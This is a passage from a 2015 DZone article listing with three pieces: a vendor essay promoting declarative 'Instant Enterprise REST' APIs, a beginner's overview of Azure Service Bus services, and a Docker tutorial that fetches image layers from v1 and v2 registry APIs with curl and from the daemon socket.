use the API tool, or this automatically constructed app: Invoke existing code Finally, we add server-side JavaScript logic (stubbed here) to execute our command. This would execute existing code in a loadable jar. Conclusion: 4 hour project This project was completed in about a half a day.
June 30, 2015
by Val Huber DZone Core CORE
· 5,875 Views
article thumbnail
Instant Enterprise REST Accelerates the Software Driven Business
Software Driven Business is a consensus goal. But real challenges exist: the time, cost and complexity of building such apps is substantial. Business Agility – and strategic business advantage – is lost. We need another revolution – Instant Enterprise REST – that provides Business Agility using business-level specifications rather than low-level code, and delivers Enterprise-class scalability, integration, enforcement and extensibility. It’s now a reality with Instant Enterprise REST. Software Driven Business: Consensus Vision Businesses have seen the value in providing mobile and tablet apps that bring the business into the hands of customers and employees. They provide information at their finger tips – wherever they are. Industry Leaders like CA have pioneered the vision of a Software Driven Business. They argue persuasively that strategic business advantage lies in Time to Market and Time to Decision: “reveal the need for speed in the application economy. As companies transform into software-driven enterprises, bringing high-quality applications to market faster becomes one of the most critical differentiators.” The Business Agility Gap While there is consensus around this vision, there is a substantial gap in realizing the Software Driven Business. It centers around Agility – time to market. As CA argues, this drives strategic business advantage. This problem manifests both to Business Users and IT, although differently. You might have been party to a discussion like this: Business Users are frustrated about how long it takes to create systems, and revise them. They see problems that look nearly as simple as a spreadsheet take weeks… to months. How can it months for IT to build a system that takes days on a spreadsheet? IT is no less frustrated. They understand the deep technology it takes to build Enterprise-class systems: We’re working 90 hours a week. And falling behind. Gap Analysis For apps about critical corporate data, there’s general consensus that the time and cost for such systems are about evenly split between backends and front ends. And there’s nearly universal consensus that, independent of the UI technology, that RESTful APIs deliver the backend data. But the backend is far more than basic data access. A “SQL Pass-through” – simply restifying SQL data – does not meet Enterprise-class requirements to scale, integrate and enforce: Scale – APIs require Pagination to address large result sets, Nested Documents to reduce latency, Optimistic Locking to ensure concurrency. These are not provided in a simple SQL Pass-through – you must program them, by hand. Integrate – a wizard can produce an API from schema objects, but it cannot address multiple databases, or integrate non-SQL data sources such as ERP, other RESTful services, or NoSQL. Enforce – an API needs to enforce our security (down to the row level), and the integrity of the data. These are significant tasks, which are sadly often placed in client buttons where they cannot be shared. Providing these Enterprise class services takes significant time, expertise and expense. Business Agility is reduced. IT is essentially being forced to cover inadequate technology infrastructure. The Business Users are right: if the Business Specification is clear, then that ought to be enough: A clear business specification should be sufficient. Everything else is just friction. The vision of the Software Driven Business requires Business Driven Software that pre-supplies the infrastructure. We are not seeking 10 or 15%. We are looking for orders of magnitude. Our vision must be: We should be able to create RESTful APIs (mainly) from business specifications, not low level code. It should be no more difficult to create a system than it is toimagine it. Business-Driven Software: Instant Enterprise REST Business Driven Software is more than just a clever play on words. It’s a real implementation that delivers this vision, and we call it Instant Enterprise REST. It consists of 3 core technologies: Enterprise Pattern Automation – creates APIs that with Enterprise-class scalability built-in (pagination, nested documents, optimistic locking, etc) Declarative – specify your API, integration and enforcement policies with spreadsheet-like rules in a simple point-and-click UI Extensibility – enables the RESTful APIs to invoke your existing logic, inside or outside the JVM, via standard server-side JavaScript. The combination of these 3 technologies enables you to create RESTful APIs for database backends – half your system – 10 times faster. Let’s briefly examine them below. Technology 1: Enterprise Pattern Automation There are well known patterns in the data domain, describing data structure and access via SQL. There are also well-known patterns for managing SQL data in the context of RESTful services. Well known patterns can be automated. Let’s imagine a service (say, a server accessed via a browser) that automates these patterns, as described below, just by connecting the service to a database: Schema Discovery – tables, views, stored procedures: The system creates a complete (default) API for each schema object. Note this includes Stored Procedures, which often represent a significant investment. Enterprise Pattern Automation: the resultant API provides well-known services for Filter, Sort, Pagination, Optimistic Locking, handling Generated Keys and so forth. So, the service has provided a default Enterprise-class API, instantly. So, literally seconds into your project, you can test your running API: Not enough, not done, but a great start. Technology 2: Declarative Declarative is the key (“what, not how”). It has had striking impacts on domains where there are well-understood underlying patterns. Max Tardiveau has put it well: Whatever can be declarative, will be declarative. For example, spreadsheets are declarative – and they gave birth to the PC industry. And SQL is declarative – itself an industry. Two game-changers. So, the challenge is to apply the spirit of declarative to REST integration and enforcement. The stakes are high – success can deliver breathtaking agility. Declarative Integration: Multi-Database Custom API, Point and Click Enterprise Pattern Automation provides a good start, but the API is not rich. It is a flat, single-table API, really just “restified” SQL. What we really need is Nested Documents – returning multiple types (e.g., an Order, a list of Items, and a list of contact names) in a single call can reduce latency (vs. a separate call for each type). REST is perfect for this. Multi-database APIs – a RESTful server provides the opportunity to integrate multiple databases in single call, shielding clients from underlying complexity. Nested Documents are easy: define them by simply selecting tables (via a User Interface or Command Line). Foreign Keys are used to default the joins. Add the ability to choose / alias columns, and we’re on the way to a pretty good API. But what about databases that have no Foreign Keys? Or multi-database APIs? Leveraging the schema does not mean we are limited to it. All we need to do is: Provide a means to define “Virtual” Foreign Keys for the service (i.e., stored outside the schema) Extend this to Foreign Keys between databases We now have a rich, multi-database API. Defined declaratively as shown below, no code required, running in minutes, ready for client development: Declarative Enforcement: Integrity Logic, with spreadsheet-like rules So now consider enforcement, specifically database integrity. A very significant portion of any project is the multi-table validations and computations that define how the data is processed. “Your code goes here” means, well, a lot of code. We need a more powerful, more declarative, paradigm. In a spreadsheet, you assign expressions to cells. Whenever the referenced data is changed, the cell is updated. Since the cells references can chain, a series of simple expressions can solve remarkably complex problems. What if we did the same for database data? We could assign derivation expressions to columns, and validation expressions to tables. Then, the API could “watch” for requests that change the referenced column, and recompute (efficiently) the calculated column. Just as in a spreadsheet, support for chaining and proper ordering is required and implicit. To address multi-table logic, such expressions would need to address references to related tables. It’s only at this point that the logic becomes seriously powerful. Let’s take an example. To check credit in a Customer / Purchaseorder / Lineitem application, we could define spreadsheet-like expressions such as: There is actually a sub-branch of declarative that addresses this: Reactive Programming. Here it’s declarative,since you don’t need to code a Observer handler. The result is that the logic above can be fully executable. No need to code Change Detection / Change Dependency – it’s invoked and enforced automatically by the API in reaction to RESTful updates. SQL handling is also implicit, including underlying optimizations (caching, pruning etc). The impact is massive – the 5 expressions above express the same logic as hundreds of lines of code. That’s a massive 40X more concise. Game changer. And quality goes up, since the rules are applied automatically. Declarative Enforcement: Security, filter expressions for role/table We can provide an analogous approach to security: define filter expressions for roles (like SalesRep), so that when a table is accessed by the role, the API adds the filter. That way, a user with that role sees only the rows for which they are authorized. Technology 3: Standards-based Extensibility Declarative is great, but you’re probably thinking “ok, but you can’t solve every problem declaratively”. And you’re dead right. Business Value requires that we integrate a declarative approach with a procedural one that is familiar, standards-based, and enables us to integrate existing software. Automatic JavaScript Object Model The first phase of many projects is to build an ORM for natural programmatic access to data: JPA, Hibernate, Entity Framework. It’s not a small project, and cumbersome to maintain as changes occur. In fact, the Object Model can be created directly from the schema. So, you’d have an object type for Purchaseorder, for Lineitem, and so forth. The model provides access to attributes and related data, and persistence services. You could then use it as shown below. JavaScript seems like the best language choice: reasonable across technology bases (everybody uses JavaScript), and its dynamic nature eliminates code generation hassles. JavaScript Events In addition to accessors and persistence, the JavaScript objects are Logic Aware. That is, the save operation above executes any rules associated with OrderAudit (e.g., updated-by), and JavaScript Events. Here is a sample event for the PurchaseOrder object, where you access the JavaScript Object Model via the system-supplied row variable: Extensible Logic Auditing is a common pattern. It should be possible to solve this once in a genericmanner, then re-use it (e.g, to audit employees, orders and so forth). So, Instant Enterprise REST should enable you to provide Extensible Logic – load your own JavaScript code, and invoke it. So, the code above could become: MyLibrary.auditFromTo(orderRow,"OrderAudit"); where auditFromTo creates an instance of OrderAudit, sets the foreign key, sets like-named attributes, and saves it. Pluggable Authentication Most organizations have existing data stores that identify users and their roles, such as Active Directory, LDAP, OAuth, etc. Security should integrate with such systems as a function of enforcing row/column access. Standard deployment Finally, the system should deploy in a familiar manner: available on the cloud, or an on-premise virtual appliance or war file. Standards also enable integration with related critical infrastructure, such as API Management, ERP Systems, etc. See a project in 3 minutes To see how it all fits together, you can view this video to see a full project built: from concept, through initial implementation, and an iteration cycle. Actual project time was about half an hour. Instant Enterprise REST: Business Agility Instant Enterprise REST enables us to close the Agility Gap in realizing the Software Driven Business vision. We can now create important portions of our software in largely business terms, rather than technical terms. This offers major advantages: Time to Market: spreadsheet-like rules are 40X more concise. Instant REST eliminates all the SQL / REST / JSON boilerplate. Simplicity: team members can learn the basics of Espresso in days, and be as productive as rocket scientists using alternative technologies Leverage Expertise and Software: Espresso is built on standards like REST, JavaScript, and Event Oriented Programming. You can call out to existing software, and extend the rule types by identifying your own patterns and loading their implementations into Espresso. Quality: at the defect level, automatic invocation and ordering eliminate large classes of bugs. At the architectural level, centralized enforcement factors logic out of the client buttons where it can be shared, audited for compliances, etc
June 30, 2015
by Val Huber DZone Core CORE
· 1,490 Views
article thumbnail
Azure Service Bus – As I Understand It: Part I (Overview)
Recently we started working on including support for Azure Service Bus in Cloud Portam. Prior to this, I had no experience with this service though it has been around for quite some time and I always wanted to try this out but one thing or another (oh, my stupid excuses :)!) prevented me from doing so. I learned a lot (and I am still learning) about this service while including support for it in Cloud Portam and this blog post talks about my learning. Please note that at the time of writing of all in all I have about a week of learning about this service so it is quite possible that I may be wrong about certain things. If that’s the case, please let me know and I will fix them ASAP. Now that the tone is set, let’s start! Azure Service Bus Offering The way I understand is that “Azure Service Bus” is a cloud-based messaging service that enables you to connect virtually anything – be it applications, services or devices. The beauty of Service Bus is that these things need not be in the cloud. They can run anywhere even inside the firewalled networks! Another thing I learned is that “Azure Service Bus” is essentially an umbrella service. At the time of writing of this post, there are actually four distinct services that are collectively offered under “Service Bus” umbrella – Queues, Topics & Subscriptions, Relays and Notification Hubs. Each service serves a different purpose yet the common theme is that all of them provide rich messaging infrastructure. To give you an analogy, if you have used Azure Storage Service you may already know that it offers four distinct services – Blobs, Files, Queues and Tables. It is the same with Service Bus as well. Queues Queues is the simplest of the service and kind of compares with Azure Storage Queue Service in the sense that it provides a unidirectional messaging infrastructure where a publisher publishes a message and the message is received by a receiver. There can be many receivers ready to receive the messages however one receiver can only receive a message. No two receivers can receive a single message simultaneously. For an in-depth comparison of Service Bus Queue and Storage Queues, please see this link: https://msdn.microsoft.com/en-us/library/azure/hh767287.aspx. Topics Topics are like queues in the sense that it also provides a unidirectional messaging infrastructure where a publisher publishes a message and receivers receive the message. The key difference is that same message can be received by multiple receivers (subscribers). Each subscriber can optionally specify a filter criteria so that they only receive the messages matching that criteria. To understand the difference between the two, let’s consider an example. Let’s say you run an e-commerce site and on successful completion of order, you have two tasks: 1) Send an email to customer about the order and 2) Notify the warehouse. If you were using Queues, you would either create 2 queues and put email notification message in one queue and warehouse notification message in another queue or build a workflow where you would send order confirmation message to a queue. Receiver would take that message and send out an email and then put warehouse notification message in the same queue (or other queue) and then another receiver would receive the message and notify the warehouse. However if you were using Topics, things would be much simpler logistically speaking. Essentially you would have just one message (order confirmation) but there will be two subscribers – one will be responsible for sending the email confirmation and the other will be responsible for notifying the warehouse. Relays Unlike Queues and Topics, which provide unidirectional flow of messages a Relay provides bi-directional flow. Using Relays, two disparate applications, services or devices can exchange messages. Other key difference is that a Relay doesn’t store the message like Queues and Topics. It just passes the messages from source to destination. Event Hubs Event Hubs service is meant for ingesting events and telemetry data in the cloud at massive scale (millions of events / second). Event Hubs are now more than important considering the push for connected devices (Internet-of-Things). Azure Service Bus Tiers Azure Service Bus is offered under two tiers (or SKUs if you would like): Basic and Standard. The difference is the level of functionality offered in each tier and the pricing. For example, Topics, Relays and Notification Hubs are only offered under Standard tier. Even with Queues, a limited set of functionality is exposed under Basic tier. For a list of features offered under each tier, please see this link: http://azure.microsoft.com/en-in/pricing/details/service-bus/. Summary That’s it for this post. In the next posts in this series, I will share my learnings about Queues and other Service Bus services. So stay tuned for that! Again, if you think that I have provided some incorrect information, please let me know and I will fix them ASAP.
June 30, 2015
by Gaurav Mantri
· 1,262 Views
article thumbnail
Wrangling the Different Docker APIs
[This article was written by Alex Harford.] Docker APIs are a convenient way for your systems to talk to Docker infrastructure. But sometimes there are challenges associated with them. I've outlined in this blog the steps you need to take and the items you need to look out for when working with Docker APIs. Initial Docker Setup Ensure you have the latest Docker client installed. It should be v1.6 or newer. [alexh:~/work] docker pull ubuntu latest: Pulling from ubuntu 428b411c28f0: Pull complete 435050075b3f: Pull complete 9fd3c8c9af32: Pull complete 6d4946999d4f: Already exists ubuntu:latest: The image you are pulling has been verified. Important: image verification is a tech preview feature and should not be relied on to provide security. Digest: sha256:45e42b43f2ff4850dcf52960ee89c21cda79ec657302d36faaaa07d880215dd9 Status: Downloaded newer image for ubuntu:latest [alexh:~/work] docker run -ti ubuntu /bin/bash root@1092e8ca2ead:/# ps PID TTY TIME CMD 1 ? 00:00:00 bash 14 ? 00:00:00 ps root@1092e8ca2ead:/# exit exit Daemons, Registries, Hubs The Docker registry is used to host docker images for download. In the most simple case, it can be a process serving static images. This would be a read-only registry supporting GET operations only. If you need something more complex, you need to use a Docker registry web service. You can [a target="_blank" href="http://www.activestate.com/blog/2014/01/deploying-your-own-private-docker-registry"]run your own private Docker registry or use the public official Docker Hub. The Docker Hub contains a Docker registry, but also includes other features, like user authentication. In our examples, we will run an unauthenticated Docker registry. Setup If you are using standard Docker images, most people will pull from the Docker Hub, which is a publically accessible Docker registry. However, a more complicated service may be talking to private Docker registries running different versions of the API. Let’s assemble a test environment with both versions of the docker registry API so we can see the different ways you can access it. First, pull down two versions of the docker registry from the Docker Hub: docker pull registry:0.9.1 0.9.1: Pulling from registry e9e06b06e14c: Pull complete a82efea989f9: Pull complete 37bea4ee0c81: Pull complete 07f8e8c5e660: Pull complete 1f4ab7282e19: Pull complete 3c27027cdae8: Pull complete 7e0e5314436e: Pull complete 2696504d3685: Pull complete 012772dbb1c6: Pull complete e24d9fce1d00: Pull complete fd2726a79da8: Pull complete bffc32d7113a: Pull complete 0cd49aa0e23c: Pull complete 4e698fa80441: Already exists registry:0.9.1: The image you are pulling has been verified. Important: image verification is a tech preview feature and should not be relied on to provide security. Digest: sha256:98937757728eecbd72c9276bf711260aa29896f15217ce05be0562287e73232d Status: Downloaded newer image for registry:0.9.1 [alexh:~/work] docker pull registry:2.0.1 2.0.1: Pulling from registry 39bb80489af7: Pull complete df2a0347c9d0: Pull complete 7a3871ba15f8: Pull complete a2703ed272d7: Pull complete 68769176e114: Pull complete ab2ab59d7d1b: Pull complete 882ecee9f360: Pull complete 40de65f8e79f: Pull complete 0c4f9c7d798f: Pull complete ca29675fe853: Pull complete 89d10e9463e5: Pull complete 1a5aa415e484: Pull complete 3ea7a9e93b04: Pull complete 769d811a57fd: Pull complete ae8a4a3af1aa: Pull complete 85cc9a791bb5: Pull complete 9cd2c8646022: Pull complete 048c32c549b9: Pull complete cbbbda28c189: Pull complete 2602c005e534: Pull complete 136beb445cfa: Pull complete 0c5e5ef1d7da: Already exists registry:2.0.1: The image you are pulling has been verified. Important: image verification is a tech preview feature and should not be relied on to provide security. Digest: sha256:0cd177d687589aff586aa2c66c64d1c25657b8d09cff9e1492192f496e7786c3 Status: Downloaded newer image for registry:2.0.1 The next step is to start them. We will start the v1 registry on port 5000, and the v2 registry on port 6000. The v1 registry occasionally fails when starting due to a lock file race condition, so tell it to restart if necessary. [alexh:~/work] docker run -p 5000:5000 -d --restart=on-failure:3 registry:0.9.1 896c651b9bfa9780b14e3710d20428baab8497c30b9bc89946b192e1d1c145aa [alexh:~/work] docker run -p 6000:5000 -d registry:2.0.1 e09d4204921c732879ee9b7544cd40a25275e0d1f1702cacd954412cfd586ffb [alexh:~/work] docker ps CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES e09d4204921c registry:2.0.1 "registry cmd/regist 4 seconds ago Up 3 seconds 0.0.0.0:6000->5000/tcp silly_albattani 896c651b9bfa registry:0.9.1 "docker-registry" 35 seconds ago Up 34 seconds 0.0.0.0:5000->5000/tcp jovial_leakey Understanding Docker Namespaces Docker has a concept of namespaces for its repositories which can be confusing. [a target="_blank" href="https://docs.docker.com/docker-hub/official_repos/"]Official Repositories can be referred to without a username prefix: CentOS Ubuntu Internally these are prefixed by library/. This means that command like docker pull ubuntu:15.10 and docker pull library/ubuntu:15.10 are equivalent. If the name includes a '/' character (samalba/docker-registry), the left side refers to the username, and the right side refers to the image name in their public repository. It gets more complex when accessing private registries. The format becomes HOST:PORT/[USERNAME/]IMAGE. However, you should note that there is no authentication performed at this layer of our docker registry environment: anyone can push, pull, or delete from any 'user'. If the USERNAME is omitted, it is internally treated as being an 'official' image, and prefixed with library/. docker pull 127.0.0.1:5000/library/test-ubuntu Pulling repository 127.0.0.1:5000/library/test-ubuntu FATA[0004] Error: image library/test-ubuntu:latest not found [alexh:~/work] docker tag 0fe5a10d2cf8 127.0.0.1:5000/test-ubuntu [alexh:~/work] docker push 127.0.0.1:5000/test-ubuntu The push refers to a repository [127.0.0.1:5000/test-ubuntu] (len: 1) Sending image list Pushing repository 127.0.0.1:5000/test-ubuntu (1 tags) Image 5c1d0c04c3b8 already pushed, skipping Image 8c63e4ac9a5f already pushed, skipping Image 5fc05c0feaea already pushed, skipping Image 0fe5a10d2cf8 already pushed, skipping Pushing tag for rev [0fe5a10d2cf8] on {http://127.0.0.1:5000/v1/repositories/test-ubuntu/tags/latest} [alexh:~/work] docker pull 127.0.0.1:5000/library/test-ubuntu Pulling repository 127.0.0.1:5000/library/test-ubuntu 0fe5a10d2cf8: Download complete 5c1d0c04c3b8: Download complete 8c63e4ac9a5f: Download complete 5fc05c0feaea: Download complete Status: Image is up to date for 127.0.0.1:5000/library/test-ubuntu:latest In the v2 Docker registry, the [a target="_blank" href="https://docs.docker.com/registry/spec/api/#overview"]URI scheme has changed to allow the repository name to be broken up into multiple components. However, the Docker client does not yet support this flexibility. In the future, you should be able to extend the namespace of your registries, ie `redhat/centos/beta or redhat/fedora/stable. Populating the Registries We'll use Ubuntu 15.10 as our example image: docker pull ubuntu:15.10 15.10: Pulling from ubuntu 5c1d0c04c3b8: Pull complete 8c63e4ac9a5f: Pull complete 5fc05c0feaea: Pull complete 0fe5a10d2cf8: Already exists ubuntu:15.10: The image you are pulling has been verified. Important: image verification is a tech preview feature and should not be relied on to provide security. Digest: sha256:d569b6ebfc62f35f9792392724bd4a74a4f5f5af10ccbc1880974ae2f0660898 Status: Downloaded newer image for ubuntu:15.10 It needs to be tagged with the new URL in order to push it to the private registries: [alexh:~/work] docker tag ubuntu:15.10 127.0.0.1:5000/ubuntu:15.10 [alexh:~/work] docker tag ubuntu:15.10 127.0.0.1:6000/ubuntu:15.10 [alexh:~/work] docker push 127.0.0.1:5000/ubuntu:15.10 The push refers to a repository [127.0.0.1:5000/ubuntu] (len: 1) Sending image list Pushing repository 127.0.0.1:5000/ubuntu (1 tags) 5c1d0c04c3b8: Image successfully pushed 8c63e4ac9a5f: Image successfully pushed 5fc05c0feaea: Image successfully pushed 0fe5a10d2cf8: Image successfully pushed Pushing tag for rev [0fe5a10d2cf8] on {http://127.0.0.1:5000/v1/repositories/ubuntu/tags/15.10} [alexh:~/work] docker push 127.0.0.1:6000/ubuntu:15.10 The push refers to a repository [127.0.0.1:6000/ubuntu] (len: 1) 0fe5a10d2cf8: Image already exists 5fc05c0feaea: Image successfully pushed 8c63e4ac9a5f: Image successfully pushed 5c1d0c04c3b8: Image successfully pushed Digest: sha256:1f93077ce8f2fa1da8aae87735f395eae93a1c21928d3e2d130717c9aeff177d Note that the output between the v1 registry (on port 5000) and v2 (port 6000) are slightly different, but the result is the same: the Ubuntu image is now available on each registry. Docker Registry APIs At this point, we're able to compare the different APIs. In April 2015, Docker [a target="_blank" href="http://docs.docker.com/v1.6/release-notes/"]released version 1.6 and this included v2 of the Registry. Your software should be aware of the different versions of the Docker Registry API to handle these differences. Let's look at what it takes to download the image layers through the various APIs in order to make an offline cache. First, we'll prepare our environment: [alexh:~/work] export image=ubuntu [alexh:~/work] export tag=15.10 v1 The v1 private registry can be examined at this point: [alexh:~/work] curl -s http://127.0.0.1:5000/v1/repositories/library/$image/tags/$tag | python -m json.tool "0fe5a10d2cf8cdb378a39a81d87b0c8fcfa8fcaaf11bba895a1b6f72baf9a547" export v1_image_id=`curl -s http://127.0.0.1:5000/v1/repositories/library/$image/tags/$tag | sed 's/"//g'` [alexh:~/work] curl -s http://127.0.0.1:5000/v1/images/$v1_image_id/ancestry | python -m json.tool [ "0fe5a10d2cf8cdb378a39a81d87b0c8fcfa8fcaaf11bba895a1b6f72baf9a547", "5fc05c0feaeab977e52b7c2490bffacaba0e3d58e7955b683f271041d3558ad1", "8c63e4ac9a5f31e482d25a149b022209653b5948cb4f045c2ede9331a18e5824", "5c1d0c04c3b846fffd1d70886c956927a5c5f6a1c96f5e9f61c02f2ec1a45a73" ] [alexh:~/work] curl -sSL http://127.0.0.1:5000/v1/images/0fe5a10d2cf8cdb378a39a81d87b0c8fcfa8fcaaf11bba895a1b6f72baf9a547/layer > 0fe5a10d2cf8cdb378a39a81d87b0c8fcfa8fcaaf11bba895a1b6f72baf9a547.tar.gz [alexh:~/work] curl -sSL http://127.0.0.1:5000/v1/images/5fc05c0feaeab977e52b7c2490bffacaba0e3d58e7955b683f271041d3558ad1/layer > 5fc05c0feaeab977e52b7c2490bffacaba0e3d58e7955b683f271041d3558ad1.tar.gz [alexh:~/work] curl -sSL http://127.0.0.1:5000/v1/images/8c63e4ac9a5f31e482d25a149b022209653b5948cb4f045c2ede9331a18e5824/layer > 8c63e4ac9a5f31e482d25a149b022209653b5948cb4f045c2ede9331a18e5824.tar.gz [alexh:~/work] curl -sSL http://127.0.0.1:5000/v1/images/5c1d0c04c3b846fffd1d70886c956927a5c5f6a1c96f5e9f61c02f2ec1a45a73/layer > 5c1d0c04c3b846fffd1d70886c956927a5c5f6a1c96f5e9f61c02f2ec1a45a73.tar.gz v1 on Docker Hub The Docker Hub currently implements the v1 API, but requires an authentication token for certain operations. It also allows multiple endpoints to be returned by the server. We'll take the simple approach of always using the first endpoint: [alexh:~/work] export endpoint=`curl -sSL -o /dev/null -D- "https://index.docker.io/v1/repositories/$image/images" | awk '/X-Docker-Endpoints/{print $2}' | tr -d '\r' | sed 's/,//'` [alexh:~/work] echo $endpoint registry-1.docker.io [alexh:~/work] export token=`curl -sSL -o /dev/null -D- -H 'X-Docker-Token: true' "https://index.docker.io/v1/repositories/$image/images" | tr -d '\r' | awk '/X-Docker-Token/{print $2}'` The token needs to be used for authentication for the rest of the commands, but otherwise they are the same as the v1 private registry: [alexh:~/work] export v1_image_id=`curl -s -H "Authorization: Token $token" https://$endpoint/v1/repositories/library/$image/tags/$tag | sed 's/"//g'` [alexh:~/work] curl -sSL -H "Authorization: Token $token" "https://registry-1.docker.io/v1/images/$v1_image_id/ancestry" | python -m json.tool [ "0fe5a10d2cf8cdb378a39a81d87b0c8fcfa8fcaaf11bba895a1b6f72baf9a547", "5fc05c0feaeab977e52b7c2490bffacaba0e3d58e7955b683f271041d3558ad1", "8c63e4ac9a5f31e482d25a149b022209653b5948cb4f045c2ede9331a18e5824", "5c1d0c04c3b846fffd1d70886c956927a5c5f6a1c96f5e9f61c02f2ec1a45a73" ] [alexh:~/work] curl -sSL -H "Authorization: Token $token" https://$endpoint/v1/images/0fe5a10d2cf8cdb378a39a81d87b0c8fcfa8fcaaf11bba895a1b6f72baf9a547/layer > 0fe5a10d2cf8cdb378a39a81d87b0c8fcfa8fcaaf11bba895a1b6f72baf9a547.tar.gz [alexh:~/work] curl -sSL -H "Authorization: Token $token" https://$endpoint/v1/images/5fc05c0feaeab977e52b7c2490bffacaba0e3d58e7955b683f271041d3558ad1/layer > 5fc05c0feaeab977e52b7c2490bffacaba0e3d58e7955b683f271041d3558ad1.tar.gz [alexh:~/work] curl -sSL -H "Authorization: Token $token" https://$endpoint/v1/images/8c63e4ac9a5f31e482d25a149b022209653b5948cb4f045c2ede9331a18e5824/layer > 8c63e4ac9a5f31e482d25a149b022209653b5948cb4f045c2ede9331a18e5824.tar.gz [alexh:~/work] curl -sSL -H "Authorization: Token $token" https://$endpoint/v1/images/5c1d0c04c3b846fffd1d70886c956927a5c5f6a1c96f5e9f61c02f2ec1a45a73/layer > 5c1d0c04c3b846fffd1d70886c956927a5c5f6a1c96f5e9f61c02f2ec1a45a73.tar.gz v2 API The v2 API works with manifest files that include checksums. It's also slightly simpler. A manifest file for a tag contains all of the layer information, rather than requiring an image ID to be looked up for a tag, and then the ancestry for that image to be looked up. [alexh:~/work] curl -sSL http://127.0.0.1:6000/v2/$image/manifests/$tag | python -c 'import sys, json, pprint; pprint.pprint(json.load(sys.stdin)["fsLayers"])' [{u'blobSum': u'sha256:a3ed95caeb02ffe68cdd9fd84406680ae93d633cb16422d00e8a7c22955b46d4'}, {u'blobSum': u'sha256:a3ed95caeb02ffe68cdd9fd84406680ae93d633cb16422d00e8a7c22955b46d4'}, {u'blobSum': u'sha256:d4d342aa9da086ca4b7f7273858072e81021f4379c486223bc4708df6862b55d'}, {u'blobSum': u'sha256:23dc26e1038ae691b1a7e8e0152f974a358c42c929104c18c8e20b6d363c41ca'}, {u'blobSum': u'sha256:7772c716a45a828e124d20bc67199e77f2e63fb62589d0046f974f99b406e107'}] [alexh:~/work] curl -sSL http://127.0.0.1:6000/v2/$image/blobs/sha256:a3ed95caeb02ffe68cdd9fd84406680ae93d633cb16422d00e8a7c22955b46d4 > a3ed95caeb02ffe68cdd9fd84406680ae93d633cb16422d00e8a7c22955b46d4.tar.gz [alexh:~/work] curl -sSL http://127.0.0.1:6000/v2/$image/blobs/sha256:d4d342aa9da086ca4b7f7273858072e81021f4379c486223bc4708df6862b55d > d4d342aa9da086ca4b7f7273858072e81021f4379c486223bc4708df6862b55d.tar.gz [alexh:~/work] curl -sSL http://127.0.0.1:6000/v2/$image/blobs/sha256:23dc26e1038ae691b1a7e8e0152f974a358c42c929104c18c8e20b6d363c41ca > 23dc26e1038ae691b1a7e8e0152f974a358c42c929104c18c8e20b6d363c41ca.tar.gz [alexh:~/work] curl -sSL http://127.0.0.1:6000/v2/$image/blobs/sha256:7772c716a45a828e124d20bc67199e77f2e63fb62589d0046f974f99b406e107 > 7772c716a45a828e124d20bc67199e77f2e63fb62589d0046f974f99b406e107.tar.gz We can get the checksum for these files to verify that they are what is described in the manifest file: [alexh:~/work] sha256sum *.tar.gz a3ed95caeb02ffe68cdd9fd84406680ae93d633cb16422d00e8a7c22955b46d4 a3ed95caeb02ffe68cdd9fd84406680ae93d633cb16422d00e8a7c22955b46d4.tar.gz d4d342aa9da086ca4b7f7273858072e81021f4379c486223bc4708df6862b55d d4d342aa9da086ca4b7f7273858072e81021f4379c486223bc4708df6862b55d.tar.gz 23dc26e1038ae691b1a7e8e0152f974a358c42c929104c18c8e20b6d363c41ca 23dc26e1038ae691b1a7e8e0152f974a358c42c929104c18c8e20b6d363c41ca.tar.gz 7772c716a45a828e124d20bc67199e77f2e63fb62589d0046f974f99b406e107 7772c716a45a828e124d20bc67199e77f2e63fb62589d0046f974f99b406e107.tar.gz The Remote (daemon) API Another API that is available is the Docker daemon running locally. It can be accessed over a Unix socket, or over TCP if the daemon is configured to allow it. [alexh:~/work] echo -e "GET /images/json HTTP/1.0\r\n" | nc -U /var/run/docker.sock | tail -n +6 | python -m json.tool [ { "Created": 1433116930, "Id": "0fe5a10d2cf8cdb378a39a81d87b0c8fcfa8fcaaf11bba895a1b6f72baf9a547", "Labels": {}, "ParentId": "5fc05c0feaeab977e52b7c2490bffacaba0e3d58e7955b683f271041d3558ad1", "RepoDigests": [], "RepoTags": [ "127.0.0.1:6000/ubuntu:15.10", "ubuntu:15.10", "127.0.0.1:5000/ubuntu:15.10" ], "Size": 0, "VirtualSize": 132392276 }, { "Created": 1432704049, "Id": "0c5e5ef1d7dac23c7164ea48faafc79f0c921f6cf87d2d8ea7469832ea31e4ca", "Labels": {}, "ParentId": "136beb445cfa7f48dbe4e36a80a83d4b7945682827fd8bfb1510ac17b6a200c0", "RepoDigests": [], "RepoTags": [ "registry:2.0.1" ], "Size": 0, "VirtualSize": 548626543 }, { "Created": 1432703977, "Id": "4e698fa804417b34b334793bab8a143403be9384e0651067b0c3933fe8d90eb2", "Labels": {}, "ParentId": "0cd49aa0e23cfe176cbea4bf622d552a6f16b21965cf52d633f8c9e27438f52c", "RepoDigests": [], "RepoTags": [ "registry:0.9.1" ], "Size": 0, "VirtualSize": 413940033 } ] A tarball containing all of the layers for a tag can be generated: [alexh:~/work] echo -e "GET /images/get?names=$image:$tag HTTP/1.0\r\n" | nc -U /var/run/docker.sock | tail -n +5 > $image-$tag.tar [alexh:~/work] mkdir tmp [alexh:~/work] tar -C tmp -xf ubuntu-15.10.tar [alexh:~/work] ls -l tmp total 20 drwxr-xr-x 2 alexh alexh 4096 Jun 2 15:33 0fe5a10d2cf8cdb378a39a81d87b0c8fcfa8fcaaf11bba895a1b6f72baf9a547 drwxr-xr-x 2 alexh alexh 4096 Jun 2 15:33 5c1d0c04c3b846fffd1d70886c956927a5c5f6a1c96f5e9f61c02f2ec1a45a73 drwxr-xr-x 2 alexh alexh 4096 Jun 2 15:33 5fc05c0feaeab977e52b7c2490bffacaba0e3d58e7955b683f271041d3558ad1 drwxr-xr-x 2 alexh alexh 4096 Jun 2 15:33 8c63e4ac9a5f31e482d25a149b022209653b5948cb4f045c2ede9331a18e5824 -rw-r--r-- 1 alexh alexh 87 Jun 2 15:33 repositories Conclusions Docker is a great technology and there are a lot of improvements and new features coming out at a rapid pace. Fortunately it's well documented and discussions about bugs are in the open on GitHub. However, there are still some edge cases to be aware of when talking to the Docker APIs. With some good design choices, your applications can be made backwards and forwards compatible, and will be able to use a wide range of Docker client versions and remote APIs.
June 30, 2015
by Kathy Thomas
· 2,026 Views · 2 Likes
article thumbnail
A Better Understanding When It Comes To Licensing Of Data Served Up Through APIs
